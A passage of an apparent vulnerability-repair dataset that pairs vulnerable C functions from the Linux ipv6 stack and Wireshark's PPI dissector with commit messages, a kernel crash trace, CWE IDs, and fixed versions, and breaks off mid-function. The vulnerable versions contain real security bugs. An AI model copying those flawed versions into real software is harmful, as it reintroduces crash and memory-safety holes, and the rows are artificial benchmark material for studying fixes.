}
return 0;
error_efault:
err = -EFAULT;
error:
cork->length -= length;
IP6_INC_STATS(sock_net(sk), rt->rt6i_idev, IPSTATS_MIB_OUTDISCARDS);
return err;
}
Commit Message: ipv6: ip6_append_data_mtu did not care about pmtudisc and frag_size
If the socket had an IPV6_MTU value set, ip6_append_data_mtu lost track
of this when appending the second frame on a corked socket. This results
in the following splat:
[37598.993962] ------------[ cut here ]------------
[37598.994008] kernel BUG at net/core/skbuff.c:2064!
[37598.994008] invalid opcode: 0000 [#1] SMP
[37598.994008] Modules linked in: tcp_lp uvcvideo videobuf2_vmalloc videobuf2_memops videobuf2_core videodev media vfat fat usb_storage fuse ebtable_nat xt_CHECKSUM bridge stp llc ipt_MASQUERADE nf_conntrack_netbios_ns nf_conntrack_broadcast ip6table_mangle ip6t_REJECT nf_conntrack_ipv6 nf_defrag_ipv6 iptable_nat
+nf_nat_ipv4 nf_nat iptable_mangle nf_conntrack_ipv4 nf_defrag_ipv4 xt_conntrack nf_conntrack ebtable_filter ebtables ip6table_filter ip6_tables be2iscsi iscsi_boot_sysfs bnx2i cnic uio cxgb4i cxgb4 cxgb3i cxgb3 mdio libcxgbi ib_iser rdma_cm ib_addr iw_cm ib_cm ib_sa ib_mad ib_core iscsi_tcp libiscsi_tcp libiscsi
+scsi_transport_iscsi rfcomm bnep iTCO_wdt iTCO_vendor_support snd_hda_codec_conexant arc4 iwldvm mac80211 snd_hda_intel acpi_cpufreq mperf coretemp snd_hda_codec microcode cdc_wdm cdc_acm
[37598.994008] snd_hwdep cdc_ether snd_seq snd_seq_device usbnet mii joydev btusb snd_pcm bluetooth i2c_i801 e1000e lpc_ich mfd_core ptp iwlwifi pps_core snd_page_alloc mei cfg80211 snd_timer thinkpad_acpi snd tpm_tis soundcore rfkill tpm tpm_bios vhost_net tun macvtap macvlan kvm_intel kvm uinput binfmt_misc
+dm_crypt i915 i2c_algo_bit drm_kms_helper drm i2c_core wmi video
[37598.994008] CPU 0
[37598.994008] Pid: 27320, comm: t2 Not tainted 3.9.6-200.fc18.x86_64 #1 LENOVO 27744PG/27744PG
[37598.994008] RIP: 0010:[<ffffffff815443a5>] [<ffffffff815443a5>] skb_copy_and_csum_bits+0x325/0x330
[37598.994008] RSP: 0018:ffff88003670da18 EFLAGS: 00010202
[37598.994008] RAX: ffff88018105c018 RBX: 0000000000000004 RCX: 00000000000006c0
[37598.994008] RDX: ffff88018105a6c0 RSI: ffff88018105a000 RDI: ffff8801e1b0aa00
[37598.994008] RBP: ffff88003670da78 R08: 0000000000000000 R09: ffff88018105c040
[37598.994008] R10: ffff8801e1b0aa00 R11: 0000000000000000 R12: 000000000000fff8
[37598.994008] R13: 00000000000004fc R14: 00000000ffff0504 R15: 0000000000000000
[37598.994008] FS: 00007f28eea59740(0000) GS:ffff88023bc00000(0000) knlGS:0000000000000000
[37598.994008] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[37598.994008] CR2: 0000003d935789e0 CR3: 00000000365cb000 CR4: 00000000000407f0
[37598.994008] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[37598.994008] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
[37598.994008] Process t2 (pid: 27320, threadinfo ffff88003670c000, task ffff88022c162ee0)
[37598.994008] Stack:
[37598.994008] ffff88022e098a00 ffff88020f973fc0 0000000000000008 00000000000004c8
[37598.994008] ffff88020f973fc0 00000000000004c4 ffff88003670da78 ffff8801e1b0a200
[37598.994008] 0000000000000018 00000000000004c8 ffff88020f973fc0 00000000000004c4
[37598.994008] Call Trace:
[37598.994008] [<ffffffff815fc21f>] ip6_append_data+0xccf/0xfe0
[37598.994008] [<ffffffff8158d9f0>] ? ip_copy_metadata+0x1a0/0x1a0
[37598.994008] [<ffffffff81661f66>] ? _raw_spin_lock_bh+0x16/0x40
[37598.994008] [<ffffffff8161548d>] udpv6_sendmsg+0x1ed/0xc10
[37598.994008] [<ffffffff812a2845>] ? sock_has_perm+0x75/0x90
[37598.994008] [<ffffffff815c3693>] inet_sendmsg+0x63/0xb0
[37598.994008] [<ffffffff812a2973>] ? selinux_socket_sendmsg+0x23/0x30
[37598.994008] [<ffffffff8153a450>] sock_sendmsg+0xb0/0xe0
[37598.994008] [<ffffffff810135d1>] ? __switch_to+0x181/0x4a0
[37598.994008] [<ffffffff8153d97d>] sys_sendto+0x12d/0x180
[37598.994008] [<ffffffff810dfb64>] ? __audit_syscall_entry+0x94/0xf0
[37598.994008] [<ffffffff81020ed1>] ? syscall_trace_enter+0x231/0x240
[37598.994008] [<ffffffff8166a7e7>] tracesys+0xdd/0xe2
[37598.994008] Code: fe 07 00 00 48 c7 c7 04 28 a6 81 89 45 a0 4c 89 4d b8 44 89 5d a8 e8 1b ac b1 ff 44 8b 5d a8 4c 8b 4d b8 8b 45 a0 e9 cf fe ff ff <0f> 0b 66 0f 1f 84 00 00 00 00 00 66 66 66 66 90 55 48 89 e5 48
[37598.994008] RIP [<ffffffff815443a5>] skb_copy_and_csum_bits+0x325/0x330
[37598.994008] RSP <ffff88003670da18>
[37599.007323] ---[ end trace d69f6a17f8ac8eee ]---
While there, also check if path mtu discovery is activated for this
socket. The logic was adapted from ip6_append_data when first writing
on the corked socket.
This bug was introduced with commit
0c1833797a5a6ec23ea9261d979aa18078720b74 ("ipv6: fix incorrect ipsec
fragment").
v2:
a) Replace IPV6_PMTU_DISC_DO with IPV6_PMTUDISC_PROBE.
b) Don't pass ipv6_pinfo to ip6_append_data_mtu (suggestion by Gao
feng, thanks!).
c) Change mtu to unsigned int, else we get a warning about
non-matching types because of the min()-macro type-check.
Acked-by: Gao feng <[email protected]>
Cc: YOSHIFUJI Hideaki <[email protected]>
Signed-off-by: Hannes Frederic Sowa <[email protected]>
Signed-off-by: David S. Miller <[email protected]>
CWE ID: CWE-399 | int ip6_append_data(struct sock *sk, int getfrag(void *from, char *to,
int offset, int len, int odd, struct sk_buff *skb),
void *from, int length, int transhdrlen,
int hlimit, int tclass, struct ipv6_txoptions *opt, struct flowi6 *fl6,
struct rt6_info *rt, unsigned int flags, int dontfrag)
{
struct inet_sock *inet = inet_sk(sk);
struct ipv6_pinfo *np = inet6_sk(sk);
struct inet_cork *cork;
struct sk_buff *skb, *skb_prev = NULL;
unsigned int maxfraglen, fragheaderlen, mtu;
int exthdrlen;
int dst_exthdrlen;
int hh_len;
int copy;
int err;
int offset = 0;
__u8 tx_flags = 0;
if (flags&MSG_PROBE)
return 0;
cork = &inet->cork.base;
if (skb_queue_empty(&sk->sk_write_queue)) {
/*
* setup for corking
*/
if (opt) {
if (WARN_ON(np->cork.opt))
return -EINVAL;
np->cork.opt = kzalloc(opt->tot_len, sk->sk_allocation);
if (unlikely(np->cork.opt == NULL))
return -ENOBUFS;
np->cork.opt->tot_len = opt->tot_len;
np->cork.opt->opt_flen = opt->opt_flen;
np->cork.opt->opt_nflen = opt->opt_nflen;
np->cork.opt->dst0opt = ip6_opt_dup(opt->dst0opt,
sk->sk_allocation);
if (opt->dst0opt && !np->cork.opt->dst0opt)
return -ENOBUFS;
np->cork.opt->dst1opt = ip6_opt_dup(opt->dst1opt,
sk->sk_allocation);
if (opt->dst1opt && !np->cork.opt->dst1opt)
return -ENOBUFS;
np->cork.opt->hopopt = ip6_opt_dup(opt->hopopt,
sk->sk_allocation);
if (opt->hopopt && !np->cork.opt->hopopt)
return -ENOBUFS;
np->cork.opt->srcrt = ip6_rthdr_dup(opt->srcrt,
sk->sk_allocation);
if (opt->srcrt && !np->cork.opt->srcrt)
return -ENOBUFS;
/* need source address above miyazawa*/
}
dst_hold(&rt->dst);
cork->dst = &rt->dst;
inet->cork.fl.u.ip6 = *fl6;
np->cork.hop_limit = hlimit;
np->cork.tclass = tclass;
if (rt->dst.flags & DST_XFRM_TUNNEL)
mtu = np->pmtudisc == IPV6_PMTUDISC_PROBE ?
rt->dst.dev->mtu : dst_mtu(&rt->dst);
else
mtu = np->pmtudisc == IPV6_PMTUDISC_PROBE ?
rt->dst.dev->mtu : dst_mtu(rt->dst.path);
if (np->frag_size < mtu) {
if (np->frag_size)
mtu = np->frag_size;
}
cork->fragsize = mtu;
if (dst_allfrag(rt->dst.path))
cork->flags |= IPCORK_ALLFRAG;
cork->length = 0;
exthdrlen = (opt ? opt->opt_flen : 0);
length += exthdrlen;
transhdrlen += exthdrlen;
dst_exthdrlen = rt->dst.header_len - rt->rt6i_nfheader_len;
} else {
rt = (struct rt6_info *)cork->dst;
fl6 = &inet->cork.fl.u.ip6;
opt = np->cork.opt;
transhdrlen = 0;
exthdrlen = 0;
dst_exthdrlen = 0;
mtu = cork->fragsize;
}
hh_len = LL_RESERVED_SPACE(rt->dst.dev);
fragheaderlen = sizeof(struct ipv6hdr) + rt->rt6i_nfheader_len +
(opt ? opt->opt_nflen : 0);
maxfraglen = ((mtu - fragheaderlen) & ~7) + fragheaderlen - sizeof(struct frag_hdr);
if (mtu <= sizeof(struct ipv6hdr) + IPV6_MAXPLEN) {
if (cork->length + length > sizeof(struct ipv6hdr) + IPV6_MAXPLEN - fragheaderlen) {
ipv6_local_error(sk, EMSGSIZE, fl6, mtu-exthdrlen);
return -EMSGSIZE;
}
}
/* For UDP, check if TX timestamp is enabled */
if (sk->sk_type == SOCK_DGRAM)
sock_tx_timestamp(sk, &tx_flags);
/*
* Let's try using as much space as possible.
* Use MTU if total length of the message fits into the MTU.
* Otherwise, we need to reserve fragment header and
* fragment alignment (= 8-15 octects, in total).
*
* Note that we may need to "move" the data from the tail of
* of the buffer to the new fragment when we split
* the message.
*
* FIXME: It may be fragmented into multiple chunks
* at once if non-fragmentable extension headers
* are too large.
* --yoshfuji
*/
cork->length += length;
if (length > mtu) {
int proto = sk->sk_protocol;
if (dontfrag && (proto == IPPROTO_UDP || proto == IPPROTO_RAW)){
ipv6_local_rxpmtu(sk, fl6, mtu-exthdrlen);
return -EMSGSIZE;
}
if (proto == IPPROTO_UDP &&
(rt->dst.dev->features & NETIF_F_UFO)) {
err = ip6_ufo_append_data(sk, getfrag, from, length,
hh_len, fragheaderlen,
transhdrlen, mtu, flags, rt);
if (err)
goto error;
return 0;
}
}
if ((skb = skb_peek_tail(&sk->sk_write_queue)) == NULL)
goto alloc_new_skb;
while (length > 0) {
/* Check if the remaining data fits into current packet. */
copy = (cork->length <= mtu && !(cork->flags & IPCORK_ALLFRAG) ? mtu : maxfraglen) - skb->len;
if (copy < length)
copy = maxfraglen - skb->len;
if (copy <= 0) {
char *data;
unsigned int datalen;
unsigned int fraglen;
unsigned int fraggap;
unsigned int alloclen;
alloc_new_skb:
/* There's no room in the current skb */
if (skb)
fraggap = skb->len - maxfraglen;
else
fraggap = 0;
/* update mtu and maxfraglen if necessary */
if (skb == NULL || skb_prev == NULL)
ip6_append_data_mtu(&mtu, &maxfraglen,
fragheaderlen, skb, rt,
np->pmtudisc ==
IPV6_PMTUDISC_PROBE);
skb_prev = skb;
/*
* If remaining data exceeds the mtu,
* we know we need more fragment(s).
*/
datalen = length + fraggap;
if (datalen > (cork->length <= mtu && !(cork->flags & IPCORK_ALLFRAG) ? mtu : maxfraglen) - fragheaderlen)
datalen = maxfraglen - fragheaderlen - rt->dst.trailer_len;
if ((flags & MSG_MORE) &&
!(rt->dst.dev->features&NETIF_F_SG))
alloclen = mtu;
else
alloclen = datalen + fragheaderlen;
alloclen += dst_exthdrlen;
if (datalen != length + fraggap) {
/*
* this is not the last fragment, the trailer
* space is regarded as data space.
*/
datalen += rt->dst.trailer_len;
}
alloclen += rt->dst.trailer_len;
fraglen = datalen + fragheaderlen;
/*
* We just reserve space for fragment header.
* Note: this may be overallocation if the message
* (without MSG_MORE) fits into the MTU.
*/
alloclen += sizeof(struct frag_hdr);
if (transhdrlen) {
skb = sock_alloc_send_skb(sk,
alloclen + hh_len,
(flags & MSG_DONTWAIT), &err);
} else {
skb = NULL;
if (atomic_read(&sk->sk_wmem_alloc) <=
2 * sk->sk_sndbuf)
skb = sock_wmalloc(sk,
alloclen + hh_len, 1,
sk->sk_allocation);
if (unlikely(skb == NULL))
err = -ENOBUFS;
else {
/* Only the initial fragment
* is time stamped.
*/
tx_flags = 0;
}
}
if (skb == NULL)
goto error;
/*
* Fill in the control structures
*/
skb->ip_summed = CHECKSUM_NONE;
skb->csum = 0;
/* reserve for fragmentation and ipsec header */
skb_reserve(skb, hh_len + sizeof(struct frag_hdr) +
dst_exthdrlen);
if (sk->sk_type == SOCK_DGRAM)
skb_shinfo(skb)->tx_flags = tx_flags;
/*
* Find where to start putting bytes
*/
data = skb_put(skb, fraglen);
skb_set_network_header(skb, exthdrlen);
data += fragheaderlen;
skb->transport_header = (skb->network_header +
fragheaderlen);
if (fraggap) {
skb->csum = skb_copy_and_csum_bits(
skb_prev, maxfraglen,
data + transhdrlen, fraggap, 0);
skb_prev->csum = csum_sub(skb_prev->csum,
skb->csum);
data += fraggap;
pskb_trim_unique(skb_prev, maxfraglen);
}
copy = datalen - transhdrlen - fraggap;
if (copy < 0) {
err = -EINVAL;
kfree_skb(skb);
goto error;
} else if (copy > 0 && getfrag(from, data + transhdrlen, offset, copy, fraggap, skb) < 0) {
err = -EFAULT;
kfree_skb(skb);
goto error;
}
offset += copy;
length -= datalen - fraggap;
transhdrlen = 0;
exthdrlen = 0;
dst_exthdrlen = 0;
/*
* Put the packet on the pending queue
*/
__skb_queue_tail(&sk->sk_write_queue, skb);
continue;
}
if (copy > length)
copy = length;
if (!(rt->dst.dev->features&NETIF_F_SG)) {
unsigned int off;
off = skb->len;
if (getfrag(from, skb_put(skb, copy),
offset, copy, off, skb) < 0) {
__skb_trim(skb, off);
err = -EFAULT;
goto error;
}
} else {
int i = skb_shinfo(skb)->nr_frags;
struct page_frag *pfrag = sk_page_frag(sk);
err = -ENOMEM;
if (!sk_page_frag_refill(sk, pfrag))
goto error;
if (!skb_can_coalesce(skb, i, pfrag->page,
pfrag->offset)) {
err = -EMSGSIZE;
if (i == MAX_SKB_FRAGS)
goto error;
__skb_fill_page_desc(skb, i, pfrag->page,
pfrag->offset, 0);
skb_shinfo(skb)->nr_frags = ++i;
get_page(pfrag->page);
}
copy = min_t(int, copy, pfrag->size - pfrag->offset);
if (getfrag(from,
page_address(pfrag->page) + pfrag->offset,
offset, copy, skb->len, skb) < 0)
goto error_efault;
pfrag->offset += copy;
skb_frag_size_add(&skb_shinfo(skb)->frags[i - 1], copy);
skb->len += copy;
skb->data_len += copy;
skb->truesize += copy;
atomic_add(copy, &sk->sk_wmem_alloc);
}
offset += copy;
length -= copy;
}
return 0;
error_efault:
err = -EFAULT;
error:
cork->length -= length;
IP6_INC_STATS(sock_net(sk), rt->rt6i_idev, IPSTATS_MIB_OUTDISCARDS);
return err;
}
| 166,014 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: dissect_ppi(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree)
{
proto_tree *ppi_tree = NULL, *ppi_flags_tree = NULL, *seg_tree = NULL, *ampdu_tree = NULL;
proto_tree *agg_tree = NULL;
proto_item *ti = NULL;
tvbuff_t *next_tvb;
int offset = 0;
guint version, flags;
gint tot_len, data_len;
guint data_type;
guint32 dlt;
guint32 n_ext_flags = 0;
guint32 ampdu_id = 0;
fragment_head *fd_head = NULL;
fragment_item *ft_fdh = NULL;
gint mpdu_count = 0;
gchar *mpdu_str;
gboolean first_mpdu = TRUE;
guint last_frame = 0;
gint len_remain, /*pad_len = 0,*/ ampdu_len = 0;
struct ieee_802_11_phdr phdr;
col_set_str(pinfo->cinfo, COL_PROTOCOL, "PPI");
col_clear(pinfo->cinfo, COL_INFO);
version = tvb_get_guint8(tvb, offset);
flags = tvb_get_guint8(tvb, offset + 1);
tot_len = tvb_get_letohs(tvb, offset+2);
dlt = tvb_get_letohl(tvb, offset+4);
col_add_fstr(pinfo->cinfo, COL_INFO, "PPI version %u, %u bytes",
version, tot_len);
/* Dissect the packet */
if (tree) {
ti = proto_tree_add_protocol_format(tree, proto_ppi,
tvb, 0, tot_len, "PPI version %u, %u bytes", version, tot_len);
ppi_tree = proto_item_add_subtree(ti, ett_ppi_pph);
proto_tree_add_item(ppi_tree, hf_ppi_head_version,
tvb, offset, 1, ENC_LITTLE_ENDIAN);
ti = proto_tree_add_item(ppi_tree, hf_ppi_head_flags,
tvb, offset + 1, 1, ENC_LITTLE_ENDIAN);
ppi_flags_tree = proto_item_add_subtree(ti, ett_ppi_flags);
proto_tree_add_item(ppi_flags_tree, hf_ppi_head_flag_alignment,
tvb, offset + 1, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(ppi_flags_tree, hf_ppi_head_flag_reserved,
tvb, offset + 1, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(ppi_tree, hf_ppi_head_len,
tvb, offset + 2, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(ppi_tree, hf_ppi_head_dlt,
tvb, offset + 4, 4, ENC_LITTLE_ENDIAN);
}
tot_len -= PPI_V0_HEADER_LEN;
offset += 8;
/* We don't have any 802.11 metadata yet. */
memset(&phdr, 0, sizeof(phdr));
phdr.fcs_len = -1;
phdr.decrypted = FALSE;
phdr.datapad = FALSE;
phdr.phy = PHDR_802_11_PHY_UNKNOWN;
phdr.presence_flags = 0;
while (tot_len > 0) {
data_type = tvb_get_letohs(tvb, offset);
data_len = tvb_get_letohs(tvb, offset + 2) + 4;
tot_len -= data_len;
switch (data_type) {
case PPI_80211_COMMON:
dissect_80211_common(tvb, pinfo, ppi_tree, offset, data_len, &phdr);
break;
case PPI_80211N_MAC:
dissect_80211n_mac(tvb, pinfo, ppi_tree, offset, data_len,
TRUE, &n_ext_flags, &du_id, &phdr);
break;
case PPI_80211N_MAC_PHY:
dissect_80211n_mac_phy(tvb, pinfo, ppi_tree, offset,
data_len, &n_ext_flags, &du_id, &phdr);
break;
case PPI_SPECTRUM_MAP:
ADD_BASIC_TAG(hf_spectrum_map);
break;
case PPI_PROCESS_INFO:
ADD_BASIC_TAG(hf_process_info);
break;
case PPI_CAPTURE_INFO:
ADD_BASIC_TAG(hf_capture_info);
break;
case PPI_AGGREGATION_EXTENSION:
dissect_aggregation_extension(tvb, pinfo, ppi_tree, offset, data_len);
break;
case PPI_8023_EXTENSION:
dissect_8023_extension(tvb, pinfo, ppi_tree, offset, data_len);
break;
case PPI_GPS_INFO:
if (ppi_gps_handle == NULL)
{
proto_tree_add_item(ppi_tree, hf_ppi_gps, tvb, offset, data_len, ENC_NA);
}
else /* we found a suitable dissector */
{
/* skip over the ppi_fieldheader, and pass it off to the dedicated GPS dissetor */
next_tvb = tvb_new_subset(tvb, offset + 4, data_len - 4 , -1);
call_dissector(ppi_gps_handle, next_tvb, pinfo, ppi_tree);
}
break;
case PPI_VECTOR_INFO:
if (ppi_vector_handle == NULL)
{
proto_tree_add_item(ppi_tree, hf_ppi_vector, tvb, offset, data_len, ENC_NA);
}
else /* we found a suitable dissector */
{
/* skip over the ppi_fieldheader, and pass it off to the dedicated VECTOR dissetor */
next_tvb = tvb_new_subset(tvb, offset + 4, data_len - 4 , -1);
call_dissector(ppi_vector_handle, next_tvb, pinfo, ppi_tree);
}
break;
case PPI_SENSOR_INFO:
if (ppi_sensor_handle == NULL)
{
proto_tree_add_item(ppi_tree, hf_ppi_harris, tvb, offset, data_len, ENC_NA);
}
else /* we found a suitable dissector */
{
/* skip over the ppi_fieldheader, and pass it off to the dedicated SENSOR dissetor */
next_tvb = tvb_new_subset(tvb, offset + 4, data_len - 4 , -1);
call_dissector(ppi_sensor_handle, next_tvb, pinfo, ppi_tree);
}
break;
case PPI_ANTENNA_INFO:
if (ppi_antenna_handle == NULL)
{
proto_tree_add_item(ppi_tree, hf_ppi_antenna, tvb, offset, data_len, ENC_NA);
}
else /* we found a suitable dissector */
{
/* skip over the ppi_fieldheader, and pass it off to the dedicated ANTENNA dissetor */
next_tvb = tvb_new_subset(tvb, offset + 4, data_len - 4 , -1);
call_dissector(ppi_antenna_handle, next_tvb, pinfo, ppi_tree);
}
break;
case FNET_PRIVATE:
if (ppi_fnet_handle == NULL)
{
proto_tree_add_item(ppi_tree, hf_ppi_fnet, tvb, offset, data_len, ENC_NA);
}
else /* we found a suitable dissector */
{
/* skip over the ppi_fieldheader, and pass it off to the dedicated FNET dissetor */
next_tvb = tvb_new_subset(tvb, offset + 4, data_len - 4 , -1);
call_dissector(ppi_fnet_handle, next_tvb, pinfo, ppi_tree);
}
break;
default:
proto_tree_add_item(ppi_tree, hf_ppi_reserved, tvb, offset, data_len, ENC_NA);
}
offset += data_len;
if (IS_PPI_FLAG_ALIGN(flags)){
offset += PADDING4(offset);
}
}
if (ppi_ampdu_reassemble && DOT11N_IS_AGGREGATE(n_ext_flags)) {
len_remain = tvb_captured_length_remaining(tvb, offset);
#if 0 /* XXX: pad_len never actually used ?? */
if (DOT11N_MORE_AGGREGATES(n_ext_flags)) {
pad_len = PADDING4(len_remain);
}
#endif
pinfo->fragmented = TRUE;
/* Make sure we aren't going to go past AGGREGATE_MAX
* and caclulate our full A-MPDU length */
fd_head = fragment_get(&du_reassembly_table, pinfo, ampdu_id, NULL);
while (fd_head) {
ampdu_len += fd_head->len + PADDING4(fd_head->len) + 4;
fd_head = fd_head->next;
}
if (ampdu_len > AGGREGATE_MAX) {
if (tree) {
proto_tree_add_expert_format(ppi_tree, pinfo, &ei_ppi_invalid_length, tvb, offset, -1, "Aggregate length greater than maximum (%u)", AGGREGATE_MAX);
THROW(ReportedBoundsError);
} else {
return;
}
}
/*
* Note that we never actually reassemble our A-MPDUs. Doing
* so would require prepending each MPDU with an A-MPDU delimiter
* and appending it with padding, only to hand it off to some
* routine which would un-do the work we just did. We're using
* the reassembly code to track MPDU sizes and frame numbers.
*/
/*??fd_head = */fragment_add_seq_next(&du_reassembly_table,
tvb, offset, pinfo, ampdu_id, NULL, len_remain, TRUE);
pinfo->fragmented = TRUE;
/* Do reassembly? */
fd_head = fragment_get(&du_reassembly_table, pinfo, ampdu_id, NULL);
/* Show our fragments */
if (fd_head && tree) {
ft_fdh = fd_head;
/* List our fragments */
seg_tree = proto_tree_add_subtree_format(ppi_tree, tvb, offset, -1,
ett_ampdu_segments, &ti, "A-MPDU (%u bytes w/hdrs):", ampdu_len);
PROTO_ITEM_SET_GENERATED(ti);
while (ft_fdh) {
if (ft_fdh->tvb_data && ft_fdh->len) {
last_frame = ft_fdh->frame;
if (!first_mpdu)
proto_item_append_text(ti, ",");
first_mpdu = FALSE;
proto_item_append_text(ti, " #%u(%u)",
ft_fdh->frame, ft_fdh->len);
proto_tree_add_uint_format(seg_tree, hf_ampdu_segment,
tvb, 0, 0, last_frame,
"Frame: %u (%u byte%s)",
last_frame,
ft_fdh->len,
plurality(ft_fdh->len, "", "s"));
}
ft_fdh = ft_fdh->next;
}
if (last_frame && last_frame != pinfo->fd->num)
proto_tree_add_uint(seg_tree, hf_ampdu_reassembled_in,
tvb, 0, 0, last_frame);
}
if (fd_head && !DOT11N_MORE_AGGREGATES(n_ext_flags)) {
if (tree) {
ti = proto_tree_add_protocol_format(tree,
proto_get_id_by_filter_name("wlan_aggregate"),
tvb, 0, tot_len, "IEEE 802.11 Aggregate MPDU");
agg_tree = proto_item_add_subtree(ti, ett_ampdu);
}
while (fd_head) {
if (fd_head->tvb_data && fd_head->len) {
mpdu_count++;
mpdu_str = wmem_strdup_printf(wmem_packet_scope(), "MPDU #%d", mpdu_count);
next_tvb = tvb_new_chain(tvb, fd_head->tvb_data);
add_new_data_source(pinfo, next_tvb, mpdu_str);
ampdu_tree = proto_tree_add_subtree(agg_tree, next_tvb, 0, -1, ett_ampdu_segment, NULL, mpdu_str);
call_dissector_with_data(ieee80211_radio_handle, next_tvb, pinfo, ampdu_tree, &phdr);
}
fd_head = fd_head->next;
}
proto_tree_add_uint(seg_tree, hf_ampdu_count, tvb, 0, 0, mpdu_count);
pinfo->fragmented=FALSE;
} else {
next_tvb = tvb_new_subset_remaining(tvb, offset);
col_set_str(pinfo->cinfo, COL_PROTOCOL, "IEEE 802.11n");
col_set_str(pinfo->cinfo, COL_INFO, "Unreassembled A-MPDU data");
call_dissector(data_handle, next_tvb, pinfo, tree);
}
return;
}
next_tvb = tvb_new_subset_remaining(tvb, offset);
/*
* You can't just call an arbitrary subdissector based on a
* LINKTYPE_ value, because they may expect a particular
* pseudo-header to be passed to them.
*
* So we look for LINKTYPE_IEEE802_11, which is 105, and, if
* that's what the LINKTYPE_ value is, pass it a pointer
* to a struct ieee_802_11_phdr; otherwise, we pass it
* a null pointer - if it actually matters, we need to
* construct the appropriate pseudo-header and pass that.
*/
if (dlt == 105) {
/* LINKTYPE_IEEE802_11 */
call_dissector_with_data(ieee80211_radio_handle, next_tvb, pinfo, tree, &phdr);
} else {
/* Everything else. This will pass a NULL data argument. */
dissector_try_uint(wtap_encap_dissector_table,
wtap_pcap_encap_to_wtap_encap(dlt), next_tvb, pinfo, tree);
}
}
Commit Message: The WTAP_ENCAP_ETHERNET dissector needs to be passed a struct eth_phdr.
We now require that. Make it so.
Bug: 12440
Change-Id: Iffee520976b013800699bde3c6092a3e86be0d76
Reviewed-on: https://code.wireshark.org/review/15424
Reviewed-by: Guy Harris <[email protected]>
CWE ID: CWE-20 | dissect_ppi(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree)
{
proto_tree *ppi_tree = NULL, *ppi_flags_tree = NULL, *seg_tree = NULL, *ampdu_tree = NULL;
proto_tree *agg_tree = NULL;
proto_item *ti = NULL;
tvbuff_t *next_tvb;
int offset = 0;
guint version, flags;
gint tot_len, data_len;
guint data_type;
guint32 dlt;
guint32 n_ext_flags = 0;
guint32 ampdu_id = 0;
fragment_head *fd_head = NULL;
fragment_item *ft_fdh = NULL;
gint mpdu_count = 0;
gchar *mpdu_str;
gboolean first_mpdu = TRUE;
guint last_frame = 0;
gint len_remain, /*pad_len = 0,*/ ampdu_len = 0;
struct ieee_802_11_phdr phdr;
int wtap_encap;
struct eth_phdr eth;
void *phdrp;
col_set_str(pinfo->cinfo, COL_PROTOCOL, "PPI");
col_clear(pinfo->cinfo, COL_INFO);
version = tvb_get_guint8(tvb, offset);
flags = tvb_get_guint8(tvb, offset + 1);
tot_len = tvb_get_letohs(tvb, offset+2);
dlt = tvb_get_letohl(tvb, offset+4);
col_add_fstr(pinfo->cinfo, COL_INFO, "PPI version %u, %u bytes",
version, tot_len);
/* Dissect the packet */
if (tree) {
ti = proto_tree_add_protocol_format(tree, proto_ppi,
tvb, 0, tot_len, "PPI version %u, %u bytes", version, tot_len);
ppi_tree = proto_item_add_subtree(ti, ett_ppi_pph);
proto_tree_add_item(ppi_tree, hf_ppi_head_version,
tvb, offset, 1, ENC_LITTLE_ENDIAN);
ti = proto_tree_add_item(ppi_tree, hf_ppi_head_flags,
tvb, offset + 1, 1, ENC_LITTLE_ENDIAN);
ppi_flags_tree = proto_item_add_subtree(ti, ett_ppi_flags);
proto_tree_add_item(ppi_flags_tree, hf_ppi_head_flag_alignment,
tvb, offset + 1, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(ppi_flags_tree, hf_ppi_head_flag_reserved,
tvb, offset + 1, 1, ENC_LITTLE_ENDIAN);
proto_tree_add_item(ppi_tree, hf_ppi_head_len,
tvb, offset + 2, 2, ENC_LITTLE_ENDIAN);
proto_tree_add_item(ppi_tree, hf_ppi_head_dlt,
tvb, offset + 4, 4, ENC_LITTLE_ENDIAN);
}
tot_len -= PPI_V0_HEADER_LEN;
offset += 8;
/* We don't have any 802.11 metadata yet. */
memset(&phdr, 0, sizeof(phdr));
phdr.fcs_len = -1;
phdr.decrypted = FALSE;
phdr.datapad = FALSE;
phdr.phy = PHDR_802_11_PHY_UNKNOWN;
phdr.presence_flags = 0;
while (tot_len > 0) {
data_type = tvb_get_letohs(tvb, offset);
data_len = tvb_get_letohs(tvb, offset + 2) + 4;
tot_len -= data_len;
switch (data_type) {
case PPI_80211_COMMON:
dissect_80211_common(tvb, pinfo, ppi_tree, offset, data_len, &phdr);
break;
case PPI_80211N_MAC:
dissect_80211n_mac(tvb, pinfo, ppi_tree, offset, data_len,
TRUE, &n_ext_flags, &du_id, &phdr);
break;
case PPI_80211N_MAC_PHY:
dissect_80211n_mac_phy(tvb, pinfo, ppi_tree, offset,
data_len, &n_ext_flags, &du_id, &phdr);
break;
case PPI_SPECTRUM_MAP:
ADD_BASIC_TAG(hf_spectrum_map);
break;
case PPI_PROCESS_INFO:
ADD_BASIC_TAG(hf_process_info);
break;
case PPI_CAPTURE_INFO:
ADD_BASIC_TAG(hf_capture_info);
break;
case PPI_AGGREGATION_EXTENSION:
dissect_aggregation_extension(tvb, pinfo, ppi_tree, offset, data_len);
break;
case PPI_8023_EXTENSION:
dissect_8023_extension(tvb, pinfo, ppi_tree, offset, data_len);
break;
case PPI_GPS_INFO:
if (ppi_gps_handle == NULL)
{
proto_tree_add_item(ppi_tree, hf_ppi_gps, tvb, offset, data_len, ENC_NA);
}
else /* we found a suitable dissector */
{
/* skip over the ppi_fieldheader, and pass it off to the dedicated GPS dissetor */
next_tvb = tvb_new_subset(tvb, offset + 4, data_len - 4 , -1);
call_dissector(ppi_gps_handle, next_tvb, pinfo, ppi_tree);
}
break;
case PPI_VECTOR_INFO:
if (ppi_vector_handle == NULL)
{
proto_tree_add_item(ppi_tree, hf_ppi_vector, tvb, offset, data_len, ENC_NA);
}
else /* we found a suitable dissector */
{
/* skip over the ppi_fieldheader, and pass it off to the dedicated VECTOR dissetor */
next_tvb = tvb_new_subset(tvb, offset + 4, data_len - 4 , -1);
